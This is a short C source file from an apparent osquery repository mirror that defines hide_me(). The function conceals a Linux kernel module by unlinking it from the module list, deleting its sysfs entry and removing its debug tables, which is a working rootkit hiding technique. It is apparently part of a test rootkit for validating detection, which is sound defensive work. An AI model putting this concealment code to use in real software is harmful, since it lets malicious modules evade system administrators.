mirror of
https://github.com/valitydev/osquery-1.git
synced 2024-11-07 18:08:53 +00:00
27 lines
537 B
C
27 lines
537 B
C
// Copyright 2004-present Facebook. All Rights Reserved.
|
|
|
|
#include <linux/module.h>
|
|
|
|
#include "hide.h"
|
|
|
|
extern char *module_str;
|
|
|
|
void rm_mod_from_list(void) {
|
|
THIS_MODULE->list.next->prev = THIS_MODULE->list.prev;
|
|
THIS_MODULE->list.prev->next = THIS_MODULE->list.next;
|
|
}
|
|
|
|
void rm_mod_from_sysfs(void) {
|
|
kobject_del(THIS_MODULE->holders_dir->parent);
|
|
}
|
|
|
|
void rm_mod_from_ddebug_tables(void) {
|
|
ddebug_remove_module(module_str);
|
|
}
|
|
|
|
void hide_me(void) {
|
|
rm_mod_from_list();
|
|
rm_mod_from_sysfs();
|
|
rm_mod_from_ddebug_tables();
|
|
}
|